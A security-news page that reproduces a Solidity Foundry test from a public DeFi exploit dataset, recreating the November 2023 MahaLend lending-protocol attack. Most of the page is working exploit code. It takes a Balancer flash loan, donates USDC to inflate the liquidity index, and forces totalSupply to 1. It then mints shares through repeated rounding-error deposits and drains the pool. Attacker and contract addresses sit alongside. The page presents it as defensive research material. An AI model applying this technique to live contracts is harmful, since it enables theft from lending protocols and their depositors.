Skip to content
THREATWIRE

Public reproduction file

src/test/2023-11/MahaLend_exp.sol

Public reproduction file for dataset entry MahaLend.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-11/MahaLend_exp.sol117 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @KeyInfo - Total Lost : ~20K USD$
8// Attacker : https://etherscan.io/address/0x0ec330df28ae6106a774d0add3e540ea8d226e3b
9// Attack Contract : https://etherscan.io/address/0xf5836e292f716a7979f9bc5c2d3ed59913e07962
10// Vulnerable Contract : https://etherscan.io/address/0xfd11aba71c06061f446ade4eec057179f19c23c4
11// Attack Tx :https://etherscan.io/tx/0x2881e839d4d562fad5356183e4f6a9d427ba6f475614ce8ef64dbfe557a4a2cc
13// @Info
14// Vulnerable Contract Code : https://etherscan.io/address/0xfd11aba71c06061f446ade4eec057179f19c23c4#code
16// @Analysis
17// Twitter Guy : https://twitter.com/Phalcon_xyz/status/1723223766350832071
19contract ContractTest is Test {
20 IERC20 ARTH = IERC20(0x8CC0F052fff7eaD7f2EdCCcaC895502E884a8a71);
21 IAaveFlashloan MahaLend = IAaveFlashloan(0x76F0C94Ced5B48020bf0D7f3D0CEabC877744cB5);
22 IERC20 USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
23 IBalancerVault Balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
24 address mARTH = 0xE6B683868D1C168Da88cfe5081E34d9D80E4D1a6;
25 address mUSDC = 0x658b0f629B9e3753AA555C189D0cB19C1eD59632;
26 uint256 nonce;
28 function setUp() public {
29 vm.createSelectFork("mainnet", 18_544_604);
30 vm.label(address(ARTH), "ARTH");
31 vm.label(address(USDC), "USDC");
32 vm.label(address(MahaLend), "MahaLend");
33 vm.label(address(Balancer), "Balancer");
34 }
36 function testExploit() external {
37 USDC.approve(address(MahaLend), type(uint256).max);
38 address[] memory tokens = new address[](1);
39 tokens[0] = address(USDC);
40 uint256[] memory amounts = new uint256[](1);
41 amounts[0] = USDC.balanceOf(address(Balancer));
42 bytes memory userData = "";
43 Balancer.flashLoan(address(this), tokens, amounts, userData);
45 emit log_named_decimal_uint(
46 "Attacker ARTH balance after exploit", ARTH.balanceOf(address(this)), ARTH.decimals()
47 );
48 }
50 function receiveFlashLoan(
51 address[] memory tokens,
52 uint256[] memory amounts,
53 uint256[] memory feeAmounts,
54 bytes memory userData
55 ) external {
56 uint256 depositAmount = 1_160_272_591_443;
57 MahaLend.supply(address(USDC), depositAmount, address(this), 0);
59 address[] memory assets = new address[](1);
60 assets[0] = address(USDC);
61 uint256[] memory amount = new uint256[](1);
62 amount[0] = depositAmount;
63 uint256[] memory modes = new uint256[](1);
64 modes[0] = 0;
65 MahaLend.flashLoan(address(this), assets, amount, modes, address(this), "", 0);
67 for (uint256 i; i < 54; ++i) {
68 MahaLend.flashLoan(address(this), assets, amount, modes, address(this), "", 0);
69 }
71 uint256 borrowAmount = ARTH.balanceOf(address(mARTH));
72 MahaLend.borrow(address(ARTH), borrowAmount, 2, 0, address(this));
74 // recoverFund recoverfund = new recoverFund();
75 // USDC.transfer(address(recoverfund), USDC.balanceOf(address(this)));
76 // recoverfund.recoverDonatedFund();
77 recoverDonatedFund();
79 USDC.transfer(address(Balancer), amounts[0]);
80 }
82 function executeOperation(
83 address[] calldata asset,
84 uint256[] calldata amount,
85 uint256[] calldata premium,
86 address initiator,
87 bytes calldata params
88 ) external returns (bool) {
89 if (nonce == 0) {
90 uint256 depositAmount = amount[0];
91 USDC.transfer(address(mUSDC), depositAmount); // donate USDC as flashloan fund to inflate index
92 MahaLend.withdraw(address(USDC), depositAmount - 1, address(this)); // manipulate totalSupply to 1
93 nonce++;
94 }
95 return true;
96 }
98 function recoverDonatedFund() internal {
99 uint256 premiumPerFlashloan = uint256(1_160_272_591_443) * 5 / 10_000 + 1; // 0.05% flashlaon fee
100 premiumPerFlashloan -= (premiumPerFlashloan * 4 / 10_000); // 0.04% protocol fee
101 uint256 nextLiquidityIndex = premiumPerFlashloan * 55 + 1; // 55 times flashloan
102 uint256 supplyAmount = nextLiquidityIndex / 2 + 1; // Use a rounding error greater than 0.5 for upward rounding and less than downward rounding
104 console.log("premiumPerFlashloan", premiumPerFlashloan);
105 console.log("nextLiquidityIndex", nextLiquidityIndex);
106 console.log("supplyAmount", supplyAmount);
108 uint256 count;
109 USDC.approve(address(MahaLend), type(uint256).max);
110 do {
111 MahaLend.supply(address(USDC), supplyAmount, address(this), 0); // supply 50% asset of 1 share, but mint 1 share throungh rounding error
112 count++;
113 } while (USDC.balanceOf(address(mUSDC)) > count * nextLiquidityIndex);
115 MahaLend.withdraw(address(USDC), USDC.balanceOf(address(mUSDC)), address(this)); // withdraw all asset
116 }

Analysis

Dataset entry

Public Foundry test for “MahaLend” (2023-11-11). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x0ec330df28ae6106a774d0add3e540ea8d226e3b

  • Attack Contract

    0xf5836e292f716a7979f9bc5c2d3ed59913e07962

  • Vulnerable Contract

    0xfd11aba71c06061f446ade4eec057179f19c23c4

  • Attack Tx

    0x2881e839d4d562fad5356183e4f6a9d427ba6f475614ce8ef64dbfe557a4a2cc

File record

Name
MahaLend
Path
src/test/2023-11/MahaLend_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
f5baf014b68629ce7b345a1e6e33ffea2823fb02
Language
Solidity
Size
118 lines
Date
2023-11-11
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2023-11/MahaLend_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob f5baf014b68629ce7b345a1e6e33ffea2823fb02, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.